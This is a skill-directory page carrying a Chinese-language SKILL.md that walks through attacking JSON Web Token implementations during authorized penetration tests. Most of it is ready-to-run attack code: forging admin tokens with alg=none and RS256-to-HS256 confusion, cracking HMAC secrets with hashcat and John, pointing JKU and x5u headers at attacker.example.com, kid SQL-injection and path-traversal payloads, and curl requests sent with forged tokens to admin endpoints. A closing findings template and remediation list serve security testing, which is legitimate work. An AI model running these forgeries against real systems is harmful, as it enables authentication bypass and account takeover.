L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Développement · SKILL.md

testing-jwt-token-security

testing-jwt-token-security

在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: testing-jwt-token-security description: 在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。 domain: cybersecurity subdomain: web-application-security tags: [penetration-testing, jwt, authentication, web-security, token-security, burpsuite] version: "1.0" author: mahipal license: Apache-2.0

测试 JWT 令牌安全性

适用场景

  • 在授权的渗透测试中,目标应用程序使用 JWT 进行认证或授权时
  • 评估 API 安全性,JWT 作为 Bearer 令牌或在 Cookie 中传递时
  • 评估使用 JWT/JWS/JWE 令牌的 SSO 实现时
  • 测试颁发 JWT 的 OAuth 2.0 或 OpenID Connect 流程时
  • 对使用 JWT 进行服务间认证的微服务架构进行安全审计时

前置条件

  • 授权:针对目标的书面渗透测试协议
  • jwt_tool:JWT 攻击工具包(pip install jwt_tool 或 git clone https://github.com/ticarpi/jwt_tool.git)
  • Burp Suite Professional:安装了 BApp Store 中的 JSON Web Token 扩展
  • Python PyJWT:用于编写自定义 JWT 攻击脚本(pip install pyjwt)
  • Hashcat:用于暴力破解 HMAC 密钥(apt install hashcat)
  • jq:用于 JSON 处理
  • 目标 JWT:来自应用程序的有效 JWT 令牌

工作流程

步骤 1:解码并分析 JWT 结构

提取并检查头部(Header)、载荷(Payload)和签名(Signature)组件。

# 解码 JWT 各部分(base64url 解码)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

# 解码头部
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# 输出: {"alg":"HS256","typ":"JWT"}

# 解码载荷
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# 输出: {"sub":"1234567890","name":"John Doe","iat":1516239022}

# 使用 jwt_tool 进行全面分析
python3 jwt_tool.py "$JWT"

# 检查载荷中的敏感数据:
# - 个人身份信息(PII):邮箱、电话、地址
# - 内部 ID 或数据库引用
# - 角色/权限声明
# - 过期时间(exp、nbf、iat)
# - 颁发方(iss)和受众(aud)

步骤 2:测试算法 None 攻击

尝试通过将算法设置为 "none" 来伪造令牌。

# jwt_tool 算法 none 攻击
python3 jwt_tool.py "$JWT" -X a

# 手动算法 none 攻击
# 创建头部: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')

# 创建修改后的载荷(将 role 改为 admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')

# 构造带空签名的令牌
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "伪造的 JWT: $FORGED_JWT"

# 测试伪造的令牌
curl -s -H "Authorization: Bearer $FORGED_JWT" \
  "https://target.example.com/api/admin/users" | jq .

# 尝试变体: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
  HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
  FORGED="${HEADER}.${PAYLOAD}."
  echo -n "alg=$alg: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $FORGED" \
    "https://target.example.com/api/admin/users"
  echo
done

步骤 3:测试算法混淆(RS256 到 HS256)

如果服务器使用 RS256,尝试切换到 HS256 并用公钥签名。

# 步骤 1:获取服务器的公钥
# 检查常见位置
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .

# 步骤 2:从 JWKS 提取公钥
# 保存 JWKS 并转换为 PEM 格式
# 使用 jwt_tool 或 openssl

# 步骤 3:jwt_tool 密钥混淆攻击
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem

# 使用 Python 手动进行算法混淆攻击
python3 << 'PYEOF'
import jwt
import json

# 读取服务器的 RSA 公钥
with open('public_key.pem', 'r') as f:
    public_key = f.read()

# 创建伪造载荷
payload = {
    "sub": "1234567890",
    "name": "Admin User",
    "role": "admin",
    "iat": 1516239022,
    "exp": 9999999999
}

# 使用 RSA 公钥作为 HMAC 密钥,以 HS256 签名
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"伪造令牌: {forged_token}")
PYEOF

# 测试伪造的令牌
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
  "https://target.example.com/api/admin/users"

步骤 4:暴力破解 HMAC 密钥

如果使用 HS256,尝试破解签名密钥。

# 使用 jwt_tool 配合常见密钥
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt

# 使用 hashcat 进行 GPU 加速破解
# 模式 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt

# 使用 John the Ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# 如果找到密钥,可以伪造任意令牌
python3 << 'PYEOF'
import jwt

secret = "cracked_secret_here"
payload = {
    "sub": "1",
    "name": "Admin",
    "role": "admin",
    "exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"伪造令牌: {token}")
PYEOF

步骤 5:测试 JWT 声明篡改和注入

修改 JWT 声明以提升权限或绕过授权。

# 使用 jwt_tool 进行声明篡改
# 更改 role 声明
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
  -pc role -pv admin

# 测试常见声明攻击:

# 1. JKU(JWK Set URL)注入
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
# 在该 URL 托管攻击者控制的 JWKS

# 2. KID(Key ID)注入
# 在 kid 参数中进行 SQL 注入
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# 如果 kid 用于文件路径查找,指向 /dev/null(空密钥)

# 通过 kid 进行 SQL 注入
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"

# 3. x5u(X.509 URL)注入
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"

# 4. 修改 subject 和 role 声明
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
  -pc sub -pv "admin@target.com" \
  -pc role -pv "superadmin"

步骤 6:测试令牌生命周期和吊销

评估令牌过期强制执行和吊销能力。

# 测试是否接受已过期的令牌
python3 << 'PYEOF'
import jwt
import time

secret = "known_secret"
# 创建 1 小时前已过期的令牌
payload = {
    "sub": "user123",
    "role": "user",
    "exp": int(time.time()) - 3600,
    "iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"过期令牌: {expired_token}")
PYEOF

curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"

# 测试具有遥远未来过期时间的令牌
python3 << 'PYEOF'
import jwt

secret = "known_secret"
payload = {
    "sub": "user123",
    "role": "user",
    "exp": 32503680000  # 3000 年
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"长期有效令牌: {long_lived}")
PYEOF

# 测试注销后的令牌重用
# 1. 在注销前捕获 JWT
# 2. 注销(调用 /auth/logout)
# 3. 尝试再次使用已捕获的 JWT
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"
# 如果返回 200,说明令牌在注销后未被吊销

# 测试密码更改后的令牌重用
# 类似测试:捕获 JWT,更改密码,重用旧 JWT

核心概念

概念描述
算法 None 攻击通过将 alg 设置为 none 来绕过签名验证
算法混淆从 RS256 切换到 HS256,并用公钥作为 HMAC 密钥签名
HMAC 暴力破解使用词表或暴力破解方式破解弱 HS256 签名密钥
JKU/x5u 注入将 JWT 头部 URL 指向攻击者控制的密钥服务器
KID 注入利用密钥 ID 头部参数中的 SQL 注入或路径遍历
声明篡改在攻破签名密钥后修改载荷声明(role、sub、permissions)
令牌吊销在令牌过期前使其失效的能力(或缺乏该能力)
JWE 与 JWSJSON Web 加密(JWE,保密性)与 JSON Web 签名(JWS,完整性)的区别

工具与系统

工具用途
jwt_tool带自动化攻击模块的全面 JWT 测试工具包
Burp JWT Editor用于实时 JWT 操纵的 Burp Suite 扩展
HashcatGPU 加速的 HMAC 密钥暴力破解(模式 16500)
John the Ripper基于 CPU 的 JWT 密钥破解
PyJWT用于编程式 JWT 创建和操纵的 Python 库
jwt.ioJWT 在线解码器,可快速分析(请勿粘贴生产环境令牌)

常见场景

场景 1:算法 None 绕过

JWT 库接受 "alg":"none" 的令牌,任何用户只需移除签名并修改算法头部即可伪造管理员令牌。

场景 2:弱 HMAC 密钥

应用程序使用 HS256 算法,且签名密钥为字典单词。Hashcat 在几分钟内破解密钥,实现完全的令牌伪造和管理员冒充。

场景 3:SSO 中的算法混淆

SSO 提供方使用 RS256,但消费方应用程序也接受 HS256。攻击者使用公开可用的 RSA 公钥通过 HS256 对伪造令牌签名。

场景 4:KID SQL 注入

kid 头部参数用于 SQL 查询中查找签名密钥。注入 ' UNION SELECT 'attacker_secret' -- 使攻击者能控制签名密钥。

输出格式

## JWT 安全发现

**漏洞类型**: JWT 算法混淆(RS256 到 HS256)
**严重级别**: 严重(CVSS 9.8)
**位置**: 所有 API 端点的 Authorization 头
**OWASP 类别**: A02:2021 - 密码学失效

### JWT 配置
| 属性 | 值 |
|------|-----|
| 算法 | RS256(同时接受 HS256) |
| 颁发方 | auth.target.example.com |
| 过期时间 | 24 小时 |
| 公钥 | 可在 /.well-known/jwks.json 获取 |
| 吊销机制 | 未实现 |

### 已确认的攻击
| 攻击方式 | 结果 |
|---------|------|
| 算法 None | 已拦截 |
| 算法混淆(RS256→HS256) | 存在漏洞 |
| HMAC 暴力破解 | 不适用(RSA) |
| KID 注入 | 不存在 |
| 已过期令牌重用 | 已接受(无吊销机制) |

### 影响
- 通过伪造管理员令牌完全绕过认证
- 任何用户均可通过伪造 JWT 声明提升至任意角色
- 注销后令牌仍有效(无服务器端吊销)

### 修复建议
1. 在服务器端强制执行算法白名单(拒绝意外的算法)
2. 使用非对称算法(RS256/ES256)并妥善管理密钥
3. 通过黑名单或短期过期配合刷新令牌机制实现令牌吊销
4. 服务器端验证所有 JWT 声明(iss、aud、exp、nbf)
5. HMAC 密钥长度至少为 256 位
Skills enregistrées